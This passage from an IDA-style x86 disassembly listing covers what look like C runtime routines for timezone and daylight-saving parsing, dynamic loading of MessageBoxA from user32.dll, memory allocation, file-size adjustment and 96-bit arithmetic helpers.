		nop
		test	eax, eax
		jz	short loc_424788
		xor	esi, esi


loc_424788:				; CODE XREF: sub_424770+14j
		mov	eax, esi
		pop	esi
		retn
sub_424770	endp


; =============== S U B	R O U T	I N E =======================================



sub_42478C	proc near		; CODE XREF: sub_4222C2+73p
					; sub_4222C2+BFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	near ptr 2880A2Dh
		nop
		test	eax, eax
		jz	short loc_4247A4
		xor	esi, esi


loc_4247A4:				; CODE XREF: sub_42478C+14j
		mov	eax, esi
		pop	esi
		retn
sub_42478C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4247A8	proc near		; CODE XREF: sub_4222C2+15Bp
					; sub_42470C+2Dp

arg_0		= dword	ptr  4

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_0]
		nop
		call	near ptr 25F09F2h
		test	eax, eax
		jz	short loc_4247BC
		xor	esi, esi


loc_4247BC:				; CODE XREF: sub_4247A8+10j
		mov	eax, esi
		pop	esi
		retn
sub_4247A8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42255C


loc_4247C0:				; CODE XREF: sub_42255C:loc_4225ADj
		push	0Ah
		call	sub_4235C9
		push	16h
		call	sub_425955
		pop	ecx
		pop	ecx
		push	3
		call	sub_41B7C2
; END OF FUNCTION CHUNK	FOR sub_42255C

; =============== S U B	R O U T	I N E =======================================



sub_4247D7	proc near		; CODE XREF: sub_422669:loc_4226A8p
		cmp	dword_4DB560, 0
		jnz	short locret_4247EB
		call	sub_4247EC
		inc	dword_4DB560

locret_4247EB:				; CODE XREF: sub_4247D7+7j
		retn
sub_4247D7	endp


; =============== S U B	R O U T	I N E =======================================



sub_4247EC	proc near		; CODE XREF: sub_4247D7+9p

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		or	ebx, 0FFFFFFFFh
		push	offset aTz	; "TZ"
		xor	edi, edi
		mov	dword_4DB4A8, ebp
		mov	dword_43CD50, ebx
		mov	dword_43CD40, ebx
		call	sub_425AC7
		mov	esi, eax
		pop	ecx
		cmp	esi, ebp
		jnz	loc_424915
		push	offset dword_4DB4B0
		nop
		call	near ptr 2840000h
		cmp	eax, ebx
		jz	loc_424A44
		mov	eax, dword_4DB4B0
		mov	ecx, dword_4DB504
		imul	eax, 3Ch
		cmp	word_4DB4F6, bp
		push	1
		pop	edx
		mov	dword_43CCA8, eax
		mov	dword_4DB4A8, edx
		jz	short loc_424863
		mov	esi, ecx
		imul	esi, 3Ch
		add	eax, esi
		mov	dword_43CCA8, eax


loc_424863:				; CODE XREF: sub_4247EC+69j
		cmp	word_4DB54A, bp
		jz	short loc_424887
		mov	eax, dword_4DB558
		cmp	eax, ebp
		jz	short loc_424887
		sub	eax, ecx
		mov	dword_43CCAC, edx
		imul	eax, 3Ch
		mov	dword_43CCB0, eax
		jmp	short loc_424893
; ---------------------------------------------------------------------------


loc_424887:				; CODE XREF: sub_4247EC+7Ej
					; sub_4247EC+87j
		mov	dword_43CCAC, ebp
		mov	dword_43CCB0, ebp


loc_424893:				; CODE XREF: sub_4247EC+99j
		lea	eax, [esp+14h+var_4]
		mov	esi, dword_42717C
		push	eax
		push	ebp
		push	3Fh
		mov	edi, 220h
		push	off_43CD34
		push	ebx
		push	offset dword_4DB4B4
		push	edi
		push	dword_4DB344
		call	esi
		test	eax, eax
		jz	short loc_4248D0
		cmp	[esp+14h+var_4], ebp
		jnz	short loc_4248D0
		mov	eax, off_43CD34
		and	byte ptr [eax+3Fh], 0
		jmp	short loc_4248D8
; ---------------------------------------------------------------------------


loc_4248D0:				; CODE XREF: sub_4247EC+D1j
					; sub_4247EC+D7j
		mov	eax, off_43CD34
		and	byte ptr [eax],	0


loc_4248D8:				; CODE XREF: sub_4247EC+E2j
		lea	eax, [esp+14h+var_4]
		push	eax
		push	ebp
		push	3Fh
		push	off_43CD38
		push	ebx
		push	offset dword_4DB508
		push	edi
		push	dword_4DB344
		call	esi
		test	eax, eax
		jz	loc_424A3C
		cmp	[esp+14h+var_4], ebp
		jnz	loc_424A3C
		mov	eax, off_43CD38
		and	byte ptr [eax+3Fh], 0
		jmp	loc_424A44
; ---------------------------------------------------------------------------


loc_424915:				; CODE XREF: sub_4247EC+2Dj
		cmp	byte ptr [esi],	0
		jz	loc_424A44
		mov	eax, dword_4DB55C
		cmp	eax, ebp
		jz	short loc_424938
		push	eax
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_424A44


loc_424938:				; CODE XREF: sub_4247EC+139j
		push	dword_4DB55C
		call	sub_41B0B1
		push	esi
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41B4D5
		add	esp, 0Ch
		cmp	eax, ebp
		mov	dword_4DB55C, eax
		jz	loc_424A44
		push	esi
		push	eax
		call	sub_41BEB0
		push	3
		push	esi
		push	off_43CD34
		call	sub_41B5F0
		mov	eax, off_43CD34
		add	esi, 3
		add	esp, 14h
		and	byte ptr [eax+3], 0
		cmp	byte ptr [esi],	2Dh
		jnz	short loc_42498D
		push	1
		inc	esi
		pop	edi


loc_42498D:				; CODE XREF: sub_4247EC+19Bj
		push	esi
		call	sub_41B6EE
		pop	ecx
		mov	bl, 30h
		mov	ecx, eax
		imul	ecx, 0E10h
		mov	dword_43CCA8, ecx


loc_4249A4:				; CODE XREF: sub_4247EC+1C7j
		mov	al, [esi]
		cmp	al, 2Bh
		jz	short loc_4249B2
		cmp	al, bl
		jl	short loc_4249B5
		cmp	al, 39h
		jg	short loc_4249B5


loc_4249B2:				; CODE XREF: sub_4247EC+1BCj
		inc	esi
		jmp	short loc_4249A4
; ---------------------------------------------------------------------------


loc_4249B5:				; CODE XREF: sub_4247EC+1C0j
					; sub_4247EC+1C4j
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_424A08
		inc	esi
		push	esi
		call	sub_41B6EE
		imul	eax, 3Ch
		pop	ecx
		mov	ecx, dword_43CCA8
		add	ecx, eax
		mov	dword_43CCA8, ecx


loc_4249D3:				; CODE XREF: sub_4247EC+1F2j
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_4249E0
		cmp	al, 39h
		jg	short loc_4249E0
		inc	esi
		jmp	short loc_4249D3
; ---------------------------------------------------------------------------


loc_4249E0:				; CODE XREF: sub_4247EC+1EBj
					; sub_4247EC+1EFj
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_424A08
		inc	esi
		push	esi
		call	sub_41B6EE
		pop	ecx
		mov	ecx, dword_43CCA8
		add	ecx, eax
		mov	dword_43CCA8, ecx


loc_4249FB:				; CODE XREF: sub_4247EC+21Aj
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_424A08
		cmp	al, 39h
		jg	short loc_424A08
		inc	esi
		jmp	short loc_4249FB
; ---------------------------------------------------------------------------


loc_424A08:				; CODE XREF: sub_4247EC+1CCj
					; sub_4247EC+1F7j ...
		cmp	edi, ebp
		jz	short loc_424A14
		neg	ecx
		mov	dword_43CCA8, ecx


loc_424A14:				; CODE XREF: sub_4247EC+21Ej
		movsx	eax, byte ptr [esi]
		cmp	eax, ebp
		mov	dword_43CCAC, eax
		jz	short loc_424A3C
		push	3
		push	esi
		push	off_43CD38
		call	sub_41B5F0
		mov	eax, off_43CD38
		add	esp, 0Ch
		and	byte ptr [eax+3], 0
		jmp	short loc_424A44
; ---------------------------------------------------------------------------


loc_424A3C:				; CODE XREF: sub_4247EC+10Bj
					; sub_4247EC+115j ...
		mov	eax, off_43CD38
		and	byte ptr [eax],	0


loc_424A44:				; CODE XREF: sub_4247EC+40j
					; sub_4247EC+124j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_4247EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_424A4A	proc near		; CODE XREF: sub_422669+A5p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_43CCAC, edi
		jnz	short loc_424A5E


loc_424A57:				; CODE XREF: sub_424A4A+148j
					; sub_424A4A+150j ...
		xor	eax, eax
		jmp	loc_424BAA
; ---------------------------------------------------------------------------


loc_424A5E:				; CODE XREF: sub_424A4A+Bj
		mov	esi, [esp+0Ch+arg_0]
		push	1
		pop	ebx
		mov	eax, [esi+14h]
		cmp	eax, dword_43CD40
		jnz	short loc_424A7C
		cmp	eax, dword_43CD50
		jz	loc_424B7E


loc_424A7C:				; CODE XREF: sub_424A4A+24j
		cmp	dword_4DB4A8, edi
		jz	loc_424B54
		movzx	ecx, word_4DB556
		push	ecx
		cmp	word_4DB548, di
		movzx	ecx, word_4DB554
		push	ecx
		movzx	ecx, word_4DB552
		push	ecx
		movzx	ecx, word_4DB550
		push	ecx
		jnz	short loc_424ACE
		movzx	ecx, word_4DB54C
		push	edi
		push	ecx
		movzx	ecx, word_4DB54E
		push	ecx
		movzx	ecx, word_4DB54A
		push	ecx
		push	eax
		push	ebx
		jmp	short loc_424AE2
; ---------------------------------------------------------------------------


loc_424ACE:				; CODE XREF: sub_424A4A+65j
		movzx	ecx, word_4DB54E
		push	ecx
		push	edi
		movzx	ecx, word_4DB54A
		push	edi
		push	ecx
		push	eax
		push	edi


loc_424AE2:				; CODE XREF: sub_424A4A+82j
		push	ebx
		call	sub_424BF6
		movzx	eax, word_4DB502
		add	esp, 2Ch
		cmp	word_4DB4F4, di
		push	eax
		movzx	eax, word_4DB500
		push	eax
		movzx	eax, word_4DB4FE
		push	eax
		movzx	eax, word_4DB4FC
		push	eax
		jnz	short loc_424B3C
		movzx	eax, word_4DB4F8
		push	edi
		push	eax
		movzx	eax, word_4DB4FA
		push	eax
		movzx	eax, word_4DB4F6
		push	eax
		push	dword ptr [esi+14h]
		push	ebx


loc_424B31:				; CODE XREF: sub_424A4A+108j
		push	edi
		call	sub_424BF6
		add	esp, 2Ch
		jmp	short loc_424B7E
; ---------------------------------------------------------------------------


loc_424B3C:				; CODE XREF: sub_424A4A+C8j
		movzx	eax, word_4DB4FA
		push	eax
		push	edi
		movzx	eax, word_4DB4F6
		push	edi
		push	eax
		push	dword ptr [esi+14h]
		push	edi
		jmp	short loc_424B31
; ---------------------------------------------------------------------------


loc_424B54:				; CODE XREF: sub_424A4A+38j
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	ebx
		push	4
		push	eax
		push	ebx
		push	ebx
		call	sub_424BF6
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	5
		push	0Ah
		push	dword ptr [esi+14h]
		push	ebx
		push	edi
		call	sub_424BF6
		add	esp, 58h


loc_424B7E:				; CODE XREF: sub_424A4A+2Cj
					; sub_424A4A+F0j
		mov	edx, dword_43CD44
		mov	eax, dword_43CD54
		mov	ecx, [esi+1Ch]
		cmp	edx, eax
		jge	short loc_424BAE
		cmp	ecx, edx
		jl	loc_424A57
		cmp	ecx, eax
		jg	loc_424A57
		cmp	ecx, edx
		jle	short loc_424BC2
		cmp	ecx, eax
		jge	short loc_424BC2


loc_424BA8:				; CODE XREF: sub_424A4A+166j
					; sub_424A4A+16Aj
		mov	eax, ebx


loc_424BAA:				; CODE XREF: sub_424A4A+Fj
					; sub_424A4A+19Dj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424BAE:				; CODE XREF: sub_424A4A+144j
		cmp	ecx, eax
		jl	short loc_424BA8
		cmp	ecx, edx
		jg	short loc_424BA8
		cmp	ecx, eax
		jle	short loc_424BC2
		cmp	ecx, edx
		jl	loc_424A57


loc_424BC2:				; CODE XREF: sub_424A4A+158j
					; sub_424A4A+15Cj ...
		mov	eax, [esi+8]
		imul	eax, 3Ch
		add	eax, [esi+4]
		imul	eax, 3Ch
		add	eax, [esi]
		imul	eax, 3E8h
		cmp	ecx, edx
		jnz	short loc_424BE9
		xor	ecx, ecx
		cmp	eax, dword_43CD48
		setnl	cl


loc_424BE5:				; CODE XREF: sub_424A4A+1AAj
		mov	eax, ecx
		jmp	short loc_424BAA
; ---------------------------------------------------------------------------


loc_424BE9:				; CODE XREF: sub_424A4A+18Ej
		xor	ecx, ecx
		cmp	eax, dword_43CD58
		setl	cl
		jmp	short loc_424BE5
sub_424A4A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424BF6	proc near		; CODE XREF: sub_424A4A+99p
					; sub_424A4A+E8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 1
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		jnz	loc_424C91
		mov	eax, [ebp+arg_C]
		mov	[ebp+arg_8], ebx
		and	[ebp+arg_8], 3
		mov	esi, eax
		jnz	short loc_424C21
		shl	esi, 2
		mov	eax, dword_43CD58[esi]
		jmp	short loc_424C2A
; ---------------------------------------------------------------------------


loc_424C21:				; CODE XREF: sub_424BF6+1Ej
		shl	esi, 2
		mov	eax, dword_43CD8C[esi]


loc_424C2A:				; CODE XREF: sub_424BF6+29j
		mov	edx, ebx
		lea	ecx, [eax+1]
		imul	edx, 16Dh
		lea	eax, [ebx-1]
		push	edi
		sar	eax, 2
		mov	edi, ecx
		push	7
		add	edi, eax
		lea	eax, [edx+edi-63DBh]
		pop	edi
		cdq
		idiv	edi
		mov	eax, [ebp+arg_10]
		pop	edi
		cmp	edx, [ebp+arg_14]
		jg	short loc_424C64
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		lea	ecx, [ecx+eax-7]
		jmp	short loc_424C6E
; ---------------------------------------------------------------------------


loc_424C64:				; CODE XREF: sub_424BF6+5Ej
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		add	ecx, eax


loc_424C6E:				; CODE XREF: sub_424BF6+6Cj
		cmp	[ebp+arg_10], 5
		jnz	short loc_424CAC
		cmp	[ebp+arg_8], 0
		jnz	short loc_424C82
		mov	esi, dword_43CD5C[esi]
		jmp	short loc_424C88
; ---------------------------------------------------------------------------


loc_424C82:				; CODE XREF: sub_424BF6+82j
		mov	esi, dword_43CD90[esi]


loc_424C88:				; CODE XREF: sub_424BF6+8Aj
		cmp	ecx, esi
		jle	short loc_424CAC
		sub	ecx, 7
		jmp	short loc_424CAC
; ---------------------------------------------------------------------------


loc_424C91:				; CODE XREF: sub_424BF6+Cj
		mov	eax, [ebp+arg_C]
		test	bl, 3
		jnz	short loc_424CA2
		mov	ecx, dword_43CD58[eax*4]
		jmp	short loc_424CA9
; ---------------------------------------------------------------------------


loc_424CA2:				; CODE XREF: sub_424BF6+A1j
		mov	ecx, dword_43CD8C[eax*4]


loc_424CA9:				; CODE XREF: sub_424BF6+AAj
		add	ecx, [ebp+arg_18]


loc_424CAC:				; CODE XREF: sub_424BF6+7Cj
					; sub_424BF6+94j ...
		cmp	[ebp+arg_0], 1
		jnz	short loc_424CDD
		mov	eax, [ebp+arg_1C]
		mov	dword_43CD44, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		mov	dword_43CD40, ebx
		imul	eax, 3Ch
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_43CD48, eax
		jmp	short loc_424D32
; ---------------------------------------------------------------------------


loc_424CDD:				; CODE XREF: sub_424BF6+BAj
		mov	eax, [ebp+arg_1C]
		mov	dword_43CD54, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		imul	eax, 3Ch
		add	eax, dword_43CCB0
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_43CD58, eax
		jns	short loc_424D15
		add	eax, 5265C00h
		dec	ecx
		mov	dword_43CD58, eax
		jmp	short loc_424D26
; ---------------------------------------------------------------------------


loc_424D15:				; CODE XREF: sub_424BF6+110j
		mov	edx, 5265C00h
		cmp	eax, edx
		jl	short loc_424D2C
		sub	eax, edx
		inc	ecx
		mov	dword_43CD58, eax


loc_424D26:				; CODE XREF: sub_424BF6+11Dj
		mov	dword_43CD54, ecx


loc_424D2C:				; CODE XREF: sub_424BF6+126j
		mov	dword_43CD50, ebx


loc_424D32:				; CODE XREF: sub_424BF6+E5j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_424BF6	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D36	proc near		; CODE XREF: ___:00422E9Dp

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_424D47
		add	esp, 0Ch
		retn
sub_424D36	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D47	proc near		; CODE XREF: sub_424D36+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	byte_4DC7E1[eax], cl
		jnz	short loc_424D74
		cmp	[esp+arg_4], 0
		jz	short loc_424D6D
		movzx	eax, word_43C302[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_424D6F
; ---------------------------------------------------------------------------


loc_424D6D:				; CODE XREF: sub_424D47+16j
		xor	eax, eax


loc_424D6F:				; CODE XREF: sub_424D47+24j
		test	eax, eax
		jnz	short loc_424D74
		retn
; ---------------------------------------------------------------------------


loc_424D74:				; CODE XREF: sub_424D47+Fj
					; sub_424D47+2Aj
		push	1
		pop	eax
		retn
sub_424D47	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D78	proc near		; CODE XREF: sub_4235C9+11Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		xor	ebx, ebx
		cmp	dword_4DB564, ebx
		push	esi
		push	edi
		jnz	short loc_424DC7
		push	offset aUser32_dll ; "user32.dll"
		nop
		call	near ptr 2690000h
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_424DFD
		mov	esi, dword_4270BC
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi
		test	eax, eax
		mov	dword_4DB564, eax
		jz	short loc_424DFD
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	dword_4DB568, eax
		call	esi
		mov	dword_4DB56C, eax


loc_424DC7:				; CODE XREF: sub_424D78+Bj
		mov	eax, dword_4DB568
		test	eax, eax
		jz	short loc_424DE6
		call	eax
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_424DE6
		mov	eax, dword_4DB56C
		test	eax, eax
		jz	short loc_424DE6
		push	ebx
		call	eax
		mov	ebx, eax


loc_424DE6:				; CODE XREF: sub_424D78+56j
					; sub_424D78+5Ej ...
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		push	ebx
		call	dword_4DB564


loc_424DF9:				; CODE XREF: sub_424D78+87j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424DFD:				; CODE XREF: sub_424D78+1Cj
					; sub_424D78+33j
		xor	eax, eax
		jmp	short loc_424DF9
sub_424D78	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424E01	proc near		; CODE XREF: sub_423936+22p
					; sub_423936+3Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		imul	esi, [ebp+arg_4]
		cmp	esi, 0FFFFFFE0h
		push	edi
		mov	[ebp+arg_0], esi
		ja	short loc_424E22
		test	esi, esi
		jnz	short loc_424E1C
		push	1
		pop	esi


loc_424E1C:				; CODE XREF: sub_424E01+16j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_424E22:				; CODE XREF: sub_424E01+12j
					; sub_424E01+94j
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_424E81
		mov	eax, dword_4DC908
		cmp	eax, 3
		jnz	short loc_424E4D
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4DC900
		ja	short loc_424E6C
		push	eax
		call	sub_41E1CB
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_424E97
		jmp	short loc_424E6C
; ---------------------------------------------------------------------------


loc_424E4D:				; CODE XREF: sub_424E01+30j
		cmp	eax, 2
		jnz	short loc_424E6C
		cmp	esi, dword_43C2F4
		ja	short loc_424E6C
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41EC6E
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_424EAB


loc_424E6C:				; CODE XREF: sub_424E01+3Bj
					; sub_424E01+4Aj ...
		push	esi
		push	8
		push	dword_4DC904
		nop
		call	near ptr 2780000h
		mov	edi, eax
		test	edi, edi
		jnz	short loc_424EA5


loc_424E81:				; CODE XREF: sub_424E01+26j
		cmp	dword_4DB2FC, 0
		jz	short loc_424EA5
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jz	short loc_424EAE
		jmp	short loc_424E22
; ---------------------------------------------------------------------------


loc_424E97:				; CODE XREF: sub_424E01+48j
		push	[ebp+arg_0]


loc_424E9A:				; CODE XREF: sub_424E01+ABj
		push	0
		push	edi
		call	sub_41B590
		add	esp, 0Ch


loc_424EA5:				; CODE XREF: sub_424E01+7Ej
					; sub_424E01+87j
		mov	eax, edi


loc_424EA7:				; CODE XREF: sub_424E01+AFj
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_424EAB:				; CODE XREF: sub_424E01+69j
		push	esi
		jmp	short loc_424E9A
; ---------------------------------------------------------------------------


loc_424EAE:				; CODE XREF: sub_424E01+92j
		xor	eax, eax
		jmp	short loc_424EA7
sub_424E01	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4239DB


loc_424EB2:				; CODE XREF: sub_4239DB+Ej
		push	esi
		push	edi
		push	3
		xor	edi, edi
		pop	esi
		cmp	dword_4DC5A0, esi
		jle	short loc_424F05


loc_424EC1:				; CODE XREF: sub_4239DB+1528j
		mov	eax, dword_4DB598
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_424EFC
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_424EE0
		push	eax
		call	sub_41B05B
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_424EE0
		inc	edi


loc_424EE0:				; CODE XREF: sub_4239DB+14F6j
					; sub_4239DB+1502j
		cmp	esi, 14h
		jl	short loc_424EFC
		mov	eax, dword_4DB598
		push	dword ptr [eax+esi*4]
		call	sub_41B0B1
		mov	eax, dword_4DB598
		pop	ecx
		and	dword ptr [eax+esi*4], 0


loc_424EFC:				; CODE XREF: sub_4239DB+14F0j
					; sub_4239DB+1508j
		inc	esi
		cmp	esi, dword_4DC5A0
		jl	short loc_424EC1


loc_424F05:				; CODE XREF: sub_4239DB+14E4j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_4239DB

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424F0A	proc near		; CODE XREF: sub_423A33+271p

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41BB20
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ebx, dword_4DC6C0
		jnb	loc_42503F
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DC5C0[eax*4]
		test	byte ptr [eax+ecx*8+4],	1
		jz	loc_42503F
		push	1
		push	esi
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_425049
		push	2
		push	esi
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_425049
		push	edi
		mov	edi, [ebp+arg_4]
		sub	edi, eax
		test	edi, edi
		jle	short loc_424FEC
		push	1000h
		lea	eax, [ebp+var_1000]
		push	esi
		push	eax
		call	sub_41B590
		push	8000h
		push	ebx
		call	sub_425B44
		add	esp, 14h
		mov	[ebp+arg_4], eax


loc_424FA0:				; CODE XREF: sub_424F0A+BDj
		mov	eax, 1000h
		cmp	edi, eax
		jge	short loc_424FAB
		mov	eax, edi


loc_424FAB:				; CODE XREF: sub_424F0A+9Dj
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	ebx
		call	sub_42291D
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_424FC9
		sub	edi, eax
		test	edi, edi
		jle	short loc_424FDF
		jmp	short loc_424FA0
; ---------------------------------------------------------------------------


loc_424FC9:				; CODE XREF: sub_424F0A+B5j
		cmp	dword_4DB27C, 5
		jnz	short loc_424FDC
		mov	dword_4DB278, 0Dh


loc_424FDC:				; CODE XREF: sub_424F0A+C6j
		or	esi, 0FFFFFFFFh


loc_424FDF:				; CODE XREF: sub_424F0A+BBj
		push	[ebp+arg_4]
		push	ebx
		call	sub_425B44
		pop	ecx
		pop	ecx
		jmp	short loc_42502C
; ---------------------------------------------------------------------------


loc_424FEC:				; CODE XREF: sub_424F0A+71j
		jge	short loc_42502C
		push	0
		push	[ebp+arg_4]
		push	ebx
		call	sub_42272B
		push	ebx
		call	sub_4238A2
		add	esp, 10h
		push	eax
		nop
		call	near ptr 25F0000h
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		dec	esi
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_42502C
		mov	dword_4DB278, 0Dh
		call	near ptr 2660D84h
		nop
		mov	dword_4DB27C, eax


loc_42502C:				; CODE XREF: sub_424F0A+E0j
					; sub_424F0A:loc_424FECj ...
		push	0
		push	[ebp+arg_0]
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		jmp	short loc_42504C
; ---------------------------------------------------------------------------


loc_42503F:				; CODE XREF: sub_424F0A+1Aj
					; sub_424F0A+36j
		mov	dword_4DB278, 9


loc_425049:				; CODE XREF: sub_424F0A+4Ej
					; sub_424F0A+63j
		or	eax, 0FFFFFFFFh


loc_42504C:				; CODE XREF: sub_424F0A+133j
		pop	esi
		pop	ebx
		leave
		retn
sub_424F0A	endp


; =============== S U B	R O U T	I N E =======================================



sub_425050	proc near		; CODE XREF: sub_4241CF+2Bp
					; sub_4241CF+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		lea	ecx, [edx+esi]
		cmp	ecx, edx
		jb	short loc_425066
		cmp	ecx, esi
		jnb	short loc_425069


loc_425066:				; CODE XREF: sub_425050+10j
		push	1
		pop	eax


loc_425069:				; CODE XREF: sub_425050+14j
		mov	edx, [esp+4+arg_8]
		pop	esi
		mov	[edx], ecx
		retn
sub_425050	endp


; =============== S U B	R O U T	I N E =======================================



sub_425071	proc near		; CODE XREF: sub_42512A+40p
					; sub_42512A+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	esi
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4250A3
		lea	eax, [esi+4]
		push	eax
		push	1
		push	dword ptr [eax]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4250A3
		inc	dword ptr [esi+8]


loc_4250A3:				; CODE XREF: sub_425071+19j
					; sub_425071+2Dj
		lea	eax, [esi+4]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [eax]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4250BB
		inc	dword ptr [esi+8]


loc_4250BB:				; CODE XREF: sub_425071+45j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+8]
		push	dword ptr [eax]
		call	sub_425050
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_425071	endp


; =============== S U B	R O U T	I N E =======================================



sub_4250CF	proc near		; CODE XREF: sub_42512A+30p
					; sub_42512A+36p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, [eax]
		mov	edi, [eax+4]
		mov	ecx, esi
		add	esi, esi
		mov	[eax], esi
		lea	esi, [edi+edi]
		shr	ecx, 1Fh
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		mov	[eax+4], esi
		shr	edx, 1Fh
		shl	ecx, 1
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		pop	esi
		retn
sub_4250CF	endp


; =============== S U B	R O U T	I N E =======================================



sub_4250FD	proc near		; CODE XREF: sub_4256C2+1C8p
					; sub_425BBA+17Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edx, [eax+8]
		mov	ecx, [eax+4]
		mov	esi, edx
		mov	edi, ecx
		shl	esi, 1Fh
		shr	ecx, 1
		or	ecx, esi
		mov	[eax+4], ecx
		mov	ecx, [eax]
		shl	edi, 1Fh
